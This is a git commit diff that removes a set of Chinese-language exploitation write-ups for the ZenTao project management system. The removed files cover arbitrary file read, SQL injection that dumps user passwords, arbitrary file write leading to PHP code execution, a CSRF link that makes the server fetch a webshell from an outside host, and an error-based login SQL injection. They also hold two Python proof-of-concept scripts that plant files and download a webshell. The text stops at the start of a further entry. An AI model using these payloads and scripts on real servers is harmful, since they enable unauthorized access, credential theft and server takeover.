update zentao

This commit is contained in:
Threekiii 2025-04-07 16:28:10 +08:00
parent 720e8b88db
commit 83e4fb4bf9
32 changed files with 413 additions and 1214 deletions

View File

@ -1,192 +0,0 @@
# 禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞
## 漏洞描述
禅道 11.6 版本中对用户接口调用权限过滤不完善导致调用接口执行SQL语句导致SQL注入
## 漏洞影响
```
禅道 11.6
```
## 环境搭建
这里使用docker环境搭建
```plain
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
```
访问 [**http://xxx.xxx.xxx.xxx:8084**](http://xxx.xxx.xxx.xxx:8084) 按步骤安装即可
![](images/202202162306063.png)
## 漏洞复现
这里造成漏洞的原因同样是调用接口权限无限制的原因
接口出现漏洞的原因具体参考可以查看上一篇 **禅道 11.6版本 SQL注入漏洞** 关于此漏洞的完整分析
### 第一种方法
查看**module/file/moudel.php**下的**parseCSV方法**
```php
public function parseCSV($fileName)
{
$content = file_get_contents($fileName);
/* Fix bug #890. */
$content = str_replace("\x82\x32", "\x10", $content);
$lines = explode("\n", $content);
$col = -1;
$row = 0;
$data = array();
foreach($lines as $line)
{
$line = trim($line);
$markNum = substr_count($line, '"') - substr_count($line, '\"');
if(substr($line, -1) != ',' and (($markNum % 2 == 1 and $col != -1) or ($markNum % 2 == 0 and substr($line, -2) != ',"' and $col == -1))) $line .= ',';
$line = str_replace(',"",', ',,', $line);
$line = str_replace(',"",', ',,', $line);
$line = preg_replace_callback('/(\"{2,})(\,+)/U', array($this, 'removeInterference'), $line);
$line = str_replace('""', '"', $line);
/* if only one column then line is the data. */
if(strpos($line, ',') === false and $col == -1)
{
$data[$row][0] = trim($line, '"');
}
else
{
/* if col is not -1, then the data of column is not end. */
if($col != -1)
{
$pos = strpos($line, '",');
if($pos === false)
{
$data[$row][$col] .= "\n" . $line;
$data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
continue;
}
else
{
$data[$row][$col] .= "\n" . substr($line, 0, $pos);
$data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
$line = substr($line, $pos + 2);
$col++;
}
}
if($col == -1) $col = 0;
/* explode cols with delimiter. */
while($line)
{
/* the cell has '"', the delimiter is '",'. */
if($line{0} == '"')
{
$pos = strpos($line, '",');
if($pos === false)
{
$data[$row][$col] = substr($line, 1);
/* if line is not empty, then the data of cell is not end. */
if(strlen($line) >= 1) continue 2;
$line = '';
}
else
{
$data[$row][$col] = substr($line, 1, $pos - 1);
$line = substr($line, $pos + 2);
}
$data[$row][$col] = str_replace(',', ',', $data[$row][$col]);
}
else
{
/* the delimiter default is ','. */
$pos = strpos($line, ',');
/* if line is not delimiter, then line is the data of cell. */
if($pos === false)
{
$data[$row][$col] = $line;
$line = '';
}
else
{
$data[$row][$col] = substr($line, 0, $pos);
$line = substr($line, $pos + 1);
}
}
$data[$row][$col] = trim(str_replace(',', ',', $data[$row][$col]));
$col++;
}
}
$row ++;
$col = -1;
}
return $data;
}
```
这里可以看到**以file为模块名、parseCSV为方法名去调用**读取文件
读取的文件名**$filename**参数可控,例如读取**/etc/passwd**
```plain
http://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd
```
![](images/202202162306195.png)
注意以 .php .txt 结尾的会被 /framework/base/router.class.php中的parsePathInfo方法 过滤
### 第二种方法
查看**module/api/moudel.php**下的**getMethod方法**
```php
public function getMethod($filePath, $ext = '')
{
$fileName = dirname($filePath);
$className = basename(dirname(dirname($filePath)));
if(!class_exists($className)) helper::import($fileName);
$methodName = basename($filePath);
$method = new ReflectionMethod($className . $ext, $methodName);
$data = new stdClass();
$data->startLine = $method->getStartLine();
$data->endLine = $method->getEndLine();
$data->comment = $method->getDocComment();
$data->parameters = $method->getParameters();
$data->className = $className;
$data->methodName = $methodName;
$data->fileName = $fileName;
$data->post = false;
$file = file($fileName);
for($i = $data->startLine - 1; $i <= $data->endLine; $i++)
{
if(strpos($file[$i], '$this->post') or strpos($file[$i], 'fixer::input') or strpos($file[$i], '$_POST'))
{
$data->post = true;
}
}
return $data;
}
```
这里与第一种大同小异,只是调用了不同模块的方法
看到 fileName = dirname(filepath) 这段则为返回的目录名
所以读取**/etc/passwd**则需要写为**/etc/passwd/1**来绕过
```plain
http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1
```
![](images/202202162306873.png)

View File

@ -1,359 +0,0 @@
# 禅道 11.6 api-getModel-api-sql-sql 后台SQL注入漏洞
## 漏洞描述
禅道 11.6 版本中对用户接口调用权限过滤不完善导致调用接口执行SQL语句导致SQL注入
## 漏洞影响
```
禅道 11.6
```
## 环境搭建
这里使用docker环境搭建
```plain
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
```
访问 [**http://xxx.xxx.xxx.xxx:8084**](http://xxx.xxx.xxx.xxx:8084) 按步骤安装即可
![image-20220209202752523](images/202202092027601.png)
## 漏洞复现
先对禅道的调用流程进行分析,先查看目录为**www/index.php**首页文件中
![image-20220209202813558](images/202202092028823.png)
这里使用**router::createApp**创建了一个APP对象
```php
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
```
来到**framework/base/router.class.php**文件查看到**createApp**方法
![image-20220209202838400](images/202202092028491.png)
```php
public static function createApp($appName = 'demo', $appRoot = '', $className = '')
{
if(empty($className)) $className = __CLASS__;
return new $className($appName, $appRoot);
}
```
这里New了一个对象查看一下调用方法(348行)
![image-20220209202904025](images/202202092029270.png)
在358行处调用了**setConfigRoot**方法
```php
$this->setConfigRoot();
public function setConfigRoot()
{
$this->configRoot = $this->basePath . 'config' . DS;
}
```
在363行处调用了**loadMainConfig**方法
```php
$this->loadMainConfig();
public function loadMainConfig()
{
/* 初始化$config对象。Init the $config object. */
global $config, $filter;
if(!is_object($config)) $config = new config();
$this->config = $config;
/* 加载主配置文件。 Load the main config file. */
$mainConfigFile = $this->configRoot . 'config.php';
if(!file_exists($mainConfigFile)) $this->triggerError("The main config file $mainConfigFile not found", __FILE__, __LINE__, $exit = true);
include $mainConfigFile;
}
```
这里包含了配置文件**config.php**配置文件,文件目录为**/config/config.php**
在25行定义了调用方法
```php
$config->requestType = 'PATH_INFO'; // 请求类型PATH_INFO|PATHINFO2|GET。 The request type: PATH_INFO|PATH_INFO2|GET.
$config->requestFix = '-'; // PATH_INFO和PATH_INFO2模式的分隔符。 The divider in the url when PATH_INFO|PATH_INFO2.
$config->moduleVar = 'm'; // 请求类型为GET模块变量名。 requestType=GET: the module var name.
$config->methodVar = 'f'; // 请求类型为GET模块变量名。 requestType=GET: the method var name.
$config->viewVar = 't'; // 请求类型为GET视图变量名。 requestType=GET: the view var name.
$config->sessionVar = 'zentaosid'; // 请求类型为GETsession变量名。 requestType=GET: the session var name.
$config->views = ',html,json,mhtml,xhtml,'; // 支持的视图类型。 Supported view formats.
```
可以发现这里存在两种路由**PATH_INFO|PATH_INFO2**一种是m、f、t来进行调用。另外一种是通过-来进行调用
在**index.php**中的**66行**
```php
$app->parseRequest();
public function parseRequest()
{
if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
{
$this->parsePathInfo();
$this->setRouteByPathInfo();
}
elseif($this->config->requestType == 'GET')
{
$this->parseGET();
$this->setRouteByGET();
}
else
{
$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
}
}
```
看到这一条则是判断力两种调用方法
```php
$this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2'
```
跟进**setRouteByPathInfo方法**
```php
public function setRouteByPathInfo()
{
if(!empty($this->URI))
{
/*
* 根据$requestFix分割符分割网址。
* There's the request seperator, split the URI by it.
**/
if(strpos($this->URI, $this->config->requestFix) !== false)
{
$items = explode($this->config->requestFix, $this->URI);
$this->setModuleName($items[0]);
$this->setMethodName($items[1]);
}
/*
* 如果网址中没有分隔符,使用默认的方法。
* No reqeust seperator, use the default method name.
**/
else
{
$this->setModuleName($this->URI);
$this->setMethodName($this->config->default->method);
}
}
else
{
$this->setModuleName($this->config->default->module); // 使用默认模块 use the default module.
$this->setMethodName($this->config->default->method); // 使用默认方法 use the default method.
}
$this->setControlFile();
}
```
所以可以推断出调用的方法
例如**登录页面**有两种访问方法
```plain
http://xxx.xxx.xxx.xxx/index.php?m=user&f=login
http://xxx.xxx.xxx.xxx/user-login.html
```
再看一下**checkPriv方法**
```php
public function checkPriv()
{
$module = $this->app->getModuleName();
$method = $this->app->getMethodName();
if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
if($this->isOpenMethod($module, $method)) return true;
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
if(isset($this->app->user))
{
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
}
else
{
$referer = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}
```
这里检测了调用模块和方法的权限,可以知道除了**isOpenMethod**中定义的公开模块和方法之外,其他的方法都是需要登录的
最后是**$app->loadModule();**这段代码
```php
public function loadModule()
{
$appName = $this->appName;
$moduleName = $this->moduleName;
$methodName = $this->methodName;
/*
* 引入该模块的control文件。
* Include the control file of the module.
**/
$file2Included = $this->setActionExtFile() ? $this->extActionFile : $this->controlFile;
chdir(dirname($file2Included));
helper::import($file2Included);
/*
* 设置control的类名。
* Set the class name of the control.
**/
$className = class_exists("my$moduleName") ? "my$moduleName" : $moduleName;
if(!class_exists($className)) $this->triggerError("the control $className not found", __FILE__, __LINE__, $exit = true);
/*
* 创建control类的实例。
* Create a instance of the control.
**/
$module = new $className();
if(!method_exists($module, $methodName)) $this->triggerError("the module $moduleName has no $methodName method", __FILE__, __LINE__, $exit = true);
$this->control = $module;
/* include default value for module*/
$defaultValueFiles = glob($this->getTmpRoot() . "defaultvalue/*.php");
if($defaultValueFiles) foreach($defaultValueFiles as $file) include $file;
/*
* 使用反射机制获取函数参数的默认值。
* Get the default settings of the method to be called using the reflecting.
*
* */
$defaultParams = array();
$methodReflect = new reflectionMethod($className, $methodName);
foreach($methodReflect->getParameters() as $param)
{
$name = $param->getName();
$default = '_NOT_SET';
if(isset($paramDefaultValue[$appName][$className][$methodName][$name]))
{
$default = $paramDefaultValue[$appName][$className][$methodName][$name];
}
elseif(isset($paramDefaultValue[$className][$methodName][$name]))
{
$default = $paramDefaultValue[$className][$methodName][$name];
}
elseif($param->isDefaultValueAvailable())
{
$default = $param->getDefaultValue();
}
$defaultParams[$name] = $default;
}
/**
* 根据PATH_INFO或者GET方式设置请求的参数。
* Set params according PATH_INFO or GET.
*/
if($this->config->requestType != 'GET')
{
$this->setParamsByPathInfo($defaultParams);
}
else
{
$this->setParamsByGET($defaultParams);
}
if($this->config->framework->filterParam == 2)
{
$_GET = validater::filterParam($_GET, 'get');
$_COOKIE = validater::filterParam($_COOKIE, 'cookie');
}
/* 调用该方法 Call the method. */
call_user_func_array(array($module, $methodName), $this->params);
return $module;
}
```
通过之前获取的**moduleName**包含对应的**control类**文件并实例化,随后调用**setParamsByPathInfo**方法从路径中获取方法对应的参数值,最后通过**call_user_func_array**方法调用对应**control类**中的对应方法并赋值。
我们查看**module/api/control.php**文件中的**getModel**方法
![image-20220209202954859](images/202202092029964.png)
这里通过**call_user_func_array**函数调用所有的**model文件**的所有方法。
```php
$result = call_user_func_array(array(&$module, $methodName), $params);
```
可以看到**module/api/moudel.php**中的**sql函数**
```php
public function sql($sql, $keyField = '')
{
$sql = trim($sql);
if(strpos($sql, ';') !== false) $sql = substr($sql, 0, strpos($sql, ';'));
a($sql);
if(empty($sql)) return '';
if(stripos($sql, 'select ') !== 0)
{
return $this->lang->api->error->onlySelect;
}
else
{
try
{
$stmt = $this->dao->query($sql);
if(empty($keyField)) return $stmt->fetchAll();
$rows = array();
while($row = $stmt->fetch()) $rows[$row->$keyField] = $row;
return $rows;
}
catch(PDOException $e)
{
return $e->getMessage();
}
}
}
```
这里并没有进行过滤,只使用了代码**$sql=trim($sql)**过滤了空格
我们看一下这里的调用这个方法需要的权限
![image-20220209203019001](images/202202092030068.png)
这里可以看到任何用户都可以调用这个模块的方法,所以我们用它调用**sql**方法进行查询(空格转换为+,绕过过滤)
```plain
http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user
```
![image-20220209203039142](images/202202092030188.png)
成功执行sql语句
## 漏洞POC
登陆后访问
```
http://xxx.xxx.xxx.xxx/api-getModel-user-getRealNameAndEmails-users=admin
```
```plain
http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user
```

View File

@ -1,192 +0,0 @@
# 禅道 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞
## 漏洞描述
禅道 11.6 版本中对用户接口调用权限过滤不完善导致调用接口执行SQL语句导致SQL注入
## 漏洞影响
```
禅道 11.6
```
## 环境搭建
这里使用docker环境搭建
```plain
docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6
```
访问 [**http://xxx.xxx.xxx.xxx:8084**](http://xxx.xxx.xxx.xxx:8084) 按步骤安装即可
![](images/202202162304907.png)
## 漏洞复现
这里造成漏洞的原因同样是调用接口权限无限制的原因
接口出现漏洞的原因具体参考可以查看上一篇 **禅道 11.6版本 SQL注入漏洞** 关于此漏洞的完整分析
查看**module/api/ediyor/moudel.php**下的**save方法**
```php
public function save($filePath)
{
$fileContent = $this->post->fileContent;
$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);
$dirPath = dirname($filePath);
$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
if(is_writable($dirPath))
{
file_put_contents($filePath, $fileContent);
}
else
{
die(js::alert($this->lang->editor->notWritable . $extFilePath));
}
}
```
**$filePath参数和$fileContent参数** 我们是可控的
调用方法往 **/tmp**写入一个**phpinfo()**
```plain
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell.php
POST:fileContent=<?php phpinfo();?>
```
![](images/202202162305743.png)
![](images/202202162305838.png)
在利用 禅道 11.6版本 任意文件读取漏洞 第二种方法来文件包含
```plain
http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1
```
![](images/202202162305119.png)
也可以写入网站目录中
先获取地址
```plain
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell
POSTfileContent=<?php system('find / -name ioncube.php')?>');?>
```
访问[**http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1**](http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1)
![](images/202202162305332.png)
得到目录为 **/app/zentaopma/www**
请求改为
```plain
http://xxx.xxx.xxx.xxx/api-getModel-editor-save-filePath=/tmp/shell
fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?>
```
再去访问[**http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1**](http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/tmp/shell/1)则会再网站目录下生成 xxx.php 文件
![](images/202202162305334.png)
![](images/202202162305426.png)
## 漏洞POC
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import base64
import requests
import random
import re
import json
import sys
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: zentao version = 11.6 \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mZentaosid >>> xxxxxxxxxxxxxx(cookie字段) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
version_url = target_url + "/www/index.php?mode=getconfig"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=version_url, timeout=20, headers=headers)
version = json.loads(response.text)['version']
print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))
except Exception as e:
print("\033[31m[x] 获取版本失败 \033[0m", e)
sys.exit(0)
def POC_2(target_url, zentaosid):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": "zentaosid={}".format(zentaosid)
}
data = {"fileContent":"<?php phpinfo();?>"}
write_url = target_url + "/api-getModel-editor-save-filePath=/tmp/test"
try:
response = requests.post(url=write_url, data=data, headers=headers, timeout=10)
print("\033[32m[o] 尝试写入php文件... \033[0m")
except:
print("\033[31m[x] 写入php文件失败 \033[0m")
sys.exit(0)
def POC_3(target_url, zentaosid):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie": "zentaosid={}".format(zentaosid)
}
vuln_url = target_url + "/api-getModel-api-getMethod-filePath=/tmp/test/1"
try:
response = requests.get(url=vuln_url, headers=headers, timeout=10)
if "System" in response.text:
print("\033[32m[o] 成功写入文件,存在漏洞, 访问 {}/api-getModel-api-getMethod-filePath=/tmp/test/1/ 查看 \033[0m".format(target_url))
else:
print("\033[31m[x] 读取php文件失败 \033[0m")
except:
print("\033[31m[x] 读取php文件失败 \033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
zentaosid = str(input("\033[35mZentaosid >>> \033[0m"))
POC_1(target_url)
POC_2(target_url, zentaosid)
POC_3(target_url, zentaosid)
```
![](images/202202162305586.png)

View File

@ -1,97 +0,0 @@
# 禅道 12.4.2 CSRF漏洞 CNVD-2020-68552
## 漏洞描述
可以针对禅道的部分模块制造恶意URL地址发送给管理员当管理员登录时会执行模块的恶意请求,可用于进行钓鱼请求
## 漏洞影响
```
禅道 <= 12.4.2版本
```
## 环境搭建
百度下12.4.2的禅道环境按步骤安装下载即可
[禅道官方网站](https://www.zentao.net/)
![](images/202202162307092.png)
调用接口查询版本信息
```plain
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
```
![](images/202202162307154.png)
## 漏洞复现
这里利用 禅道 小于12.4.2 文件上传漏洞 CNVD-C-2020-121325(可参照上一篇文章) 来构造一个恶意的URL地址
查看**module/common/model.php**的**checkPriv**方法
```php
public function checkPriv()
{
$module = $this->app->getModuleName();
$method = $this->app->getMethodName();
if($this->app->isFlow)
{
$module = $this->app->rawModule;
$method = $this->app->rawMethod;
}
if(!empty($this->app->user->modifyPassword) and (($module != 'my' or $method != 'changepassword') and ($module != 'user' or $method != 'logout'))) die(js::locate(helper::createLink('my', 'changepassword')));
if($this->isOpenMethod($module, $method)) return true;
if(!$this->loadModel('user')->isLogon() and $this->server->php_auth_user) $this->user->identifyByPhpAuth();
if(!$this->loadModel('user')->isLogon() and $this->cookie->za) $this->user->identifyByCookie();
if(isset($this->app->user))
{
if(!defined('IN_UPGRADE')) $this->session->user->view = $this->loadModel('user')->grantUserView();
$this->app->user = $this->session->user;
if(!commonModel::hasPriv($module, $method)) $this->deny($module, $method);
}
else
{
$referer = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
}
}
```
这里的代码片段为鉴权函数,可以看到最后一句代码
```php
$referer = helper::safe64Encode($this->app->getURI(true));
die(js::locate(helper::createLink('user', 'login', "referer=$referer")));
```
所以当调用当前权限不允许的方法时,会进行跳转,并在**$referer**参数缓存调用的方法URL当使用这个跳转的地址登录时则会直接调用此方法
**URL地址构造过程**
```plain
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=/www/index.php.m=client&f=download&version=1&link=HTTP://peiqi.tech/SHELL.php
```
将**link参数**base64加密
```plain
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=/www/index.php.m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
```
将**referer参数**以 . 做分割base64加密两边字符
```plain
http://xxx.xxx.xxx.xxx/www/index.php?m=user&f=login&referer=L3d3dy9pbmRleC5waHA.bT1jbGllbnQmZj1kb3dubG9hZCZ2ZXJzaW9uPTEmbGluaz1TRlJVVURvdkwzQmxhWEZwTG5SbFkyZ3ZVMGhGVEV3dWNHaHc=
```
![](images/202202162307966.png)
将这个URL地址发送给管理员当管理员登录时则会触发恶意文件下载
![](images/202202162308602.png)

View File

@ -1,241 +0,0 @@
# 禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325
## 漏洞描述
百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告该漏洞编号为CNVD-C-2020-121325漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析由于需要登录后台才可以利用实际风险相对较低建议受影响的禅道用户尽快升级到最新版。
## 漏洞影响
```
禅道 <= 12.4.2版本
```
## 环境搭建
百度下12.4.2的禅道环境按步骤安装下载即可
[禅道官方网站](https://www.zentao.net/)
![](images/202202162310834.png)
调用接口查询版本信息
```plain
http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig
```
![](images/202202162310134.png)
## 漏洞复现
漏洞触发需要后台权限
根据漏洞描述查看修改后的代码片段
![](images/202202162310790.png)
**修改前**
```php
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(preg_match('/^https?\:\/\//', $decodeLink)) return false;
return parent::downloadZipPackage($version, $link);
}
```
**修改后**
```php
public function downloadZipPackage($version, $link)
{
$decodeLink = helper::safe64Decode($link);
if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
$file = basename($link);
$extension = substr($file, strrpos($file, '.') + 1);
if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
return parent::downloadZipPackage($version, $link);
}
```
这里传入的参数为版本和link地址然后base64解码正则判断是否为**http**或**https**协议,这里的正则过滤并不完整,所以可以绕过用于下载恶意文件
![](images/202202162310974.png)
可以大写**http**或请求**FTP**来绕过正则
![](images/202202162310000.png)
![](images/202202162310460.png)
跟进一下**parent::downloadZipPackage**这个方法,跟着来到**zentao\module\client\model.php**文件中
![](images/202202162311682.png)
```php
public function downloadZipPackage($version, $link)
{
ignore_user_abort(true);
set_time_limit(0);
if(empty($version) || empty($link)) return false;
$dir = "data/client/" . $version . '/';
$link = helper::safe64Decode($link);
$file = basename($link);
if(!is_dir($this->app->wwwRoot . $dir))
{
mkdir($this->app->wwwRoot . $dir, 0755, true);
}
if(!is_dir($this->app->wwwRoot . $dir)) return false;
if(file_exists($this->app->wwwRoot . $dir . $file))
{
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
ob_clean();
ob_end_flush();
$local = fopen($this->app->wwwRoot . $dir . $file, 'w');
$remote = fopen($link, 'rb');
if($remote === false) return false;
while(!feof($remote))
{
$buffer = fread($remote, 4096);
fwrite($local, $buffer);
}
fclose($local);
fclose($remote);
return commonModel::getSysURL() . $this->config->webRoot . $dir . $file;
}
```
可以简单看到这里获取link传入的文件名通过**fopen**打开该文件,写入禅道目录**www/data/client/version**中
查看一下有没有调用这个方法的地方
![](images/202202162311411.png)
找到了**download**方法调用了这个漏洞点,所以我们有两种下载恶意文件的方法
```plain
http://xxx.xxx.xxx.xxx/www/client-download-[$version参数]-[base64加密后的恶意文件地址].html
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=[$version参数]&link=[base64加密后的恶意文件地址]
```
首先先上传一个恶意文件可以是FTP也可以是HTTP
例如我上传的文件URL为[**http://peiqi.tech/SHELL.php**](http://peiqi.tech/SHELL.php)
```plain
http://peiqi.tech/SHELL.php
|
base64加密 HTTP://peiqi.tech/SHELL.php
|
SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
```
请求地址则为
```plain
http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw
```
![](images/202202162311474.png)
下载的目录地址为**zentaopms\www\data\client\1**
目录为version名称
![](images/202202162311107.png)
成功上传webshell
![](images/202202162311177.png)
## 漏洞POC
- POC使用需要拥有后台Cookie
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import base64
import requests
import random
import re
import json
import sys
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: zentao version <= 12.4.2 \033[0m')
print('+ \033[36m使用格式: python3 CNVD-C-2020-121325.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+ \033[36mShell >>> http://xxx.xxx.xxx.xxx/shell.php(恶意文件地址) \033[0m')
print('+ \033[36mZentaosid >>> xxxxxxxxxxxxxx(cookie字段) \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
version_url = target_url + "/www/index.php?mode=getconfig"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
}
try:
response = requests.get(url=version_url, timeout=20, headers=headers)
version = json.loads(response.text)['version']
print("\033[32m[o] 禅道版本为:{}\033[0m".format(version))
except Exception as e:
print("\033[31m[x] 获取版本失败 \033[0m", e)
def POC_2(target_url, shell_url, zentaosid):
options = shell_url.split("://")
if options[0] == "http":
shell_url = "HTTP://" + options[1]
elif options[0] == "ftp":
shell_url = "ftp://" + options[1]
else:
print("\033[31m[x] 请使用正确的请求地址 \033[0m")
sys.exit(0)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
"Cookie":"zentaosid={}".format(zentaosid)
}
shell_url_base = str((base64.b64encode(shell_url.encode('utf-8'))),'utf-8')
vuln_url = target_url + "/www/index.php?m=client&f=download&version=test&link={}".format(shell_url_base)
print("\033[32m[o] 请求漏洞url{}\033[0m".format(vuln_url))
try:
response = requests.get(url=vuln_url, timeout=20, headers=headers)
if "保存成功" in response.text:
print("\033[32m[o] 成功写入WebshellURL地址为{}/www/data/client/test/Webshell_name.php\033[0m".format(target_url))
else:
print("\033[31m[x] 恶意文件下载失败 \033[0m")
except:
print("\033[31m[x] 恶意文件下载失败 \033[0m")
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
shell_url = str(input("\033[35mShell >>> \033[0m"))
zentaosid = str(input("\033[35mZentaosid >>> \033[0m"))
POC_1(target_url)
POC_2(target_url, shell_url, zentaosid)
```
![](images/202202162311483.png)

View File

@ -1,33 +0,0 @@
# 禅道 V16.5 SQL 注入 CNVD-2022-42853
## 漏洞描述
禅道是一款专业的国产开源研发项目管理软件,集产品管理,项目管理, 质量管理,文档管理,组织管理和事务管理于一体,完整覆盖了研发项目管理的核心流程,管理思想基于国际流行的敏捷项目管理方法-Scrum在遵循其价值观的基础上结合国内项目研发的现状整合了任务管理需要管理Bug 管理,用例管理等多种功能,覆盖软件从计划到发布的整个生命周期。
禅道 V16.5 未对输入的 account 参数内容作过滤校验,导致攻击者拼接恶意 SQL 语句执行。
## 环境搭建
下载环境:
```
https://www.zentao.net/dl/zentao/16.5/ZenTaoPMS.16.5.win64.exe
```
## 漏洞复现
报错型注入 Payload
```
admin' and updatexml(1,concat(0x7e,(user),0x7e),1) and '1'='1
```
poc
```
POST /zentao/user-login.html HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
account=admin%27+and++updatexml%281%2Cconcat%280x1%2Cuser%28%29%29%2C1%29+and+%271%27%3D%271
```

View File

@ -1,100 +0,0 @@
# 禅道 项目管理系统远程命令执行漏洞 CNVD-2023-02709
## 漏洞描述
禅道项目管理系统存在远程命令执行漏洞,该漏洞源于在认证过程中未正确退出程序,导致了认证绕过,并且后台中有多种执行命令的方式,攻击者可利用该漏洞在目标服务器上注入任意命令,实现未授权接管服务器。
## 漏洞影响
```
杭州易软共创网络科技有限公司 禅道项目管理系统 >=17.4<=18.0.beta1开源版
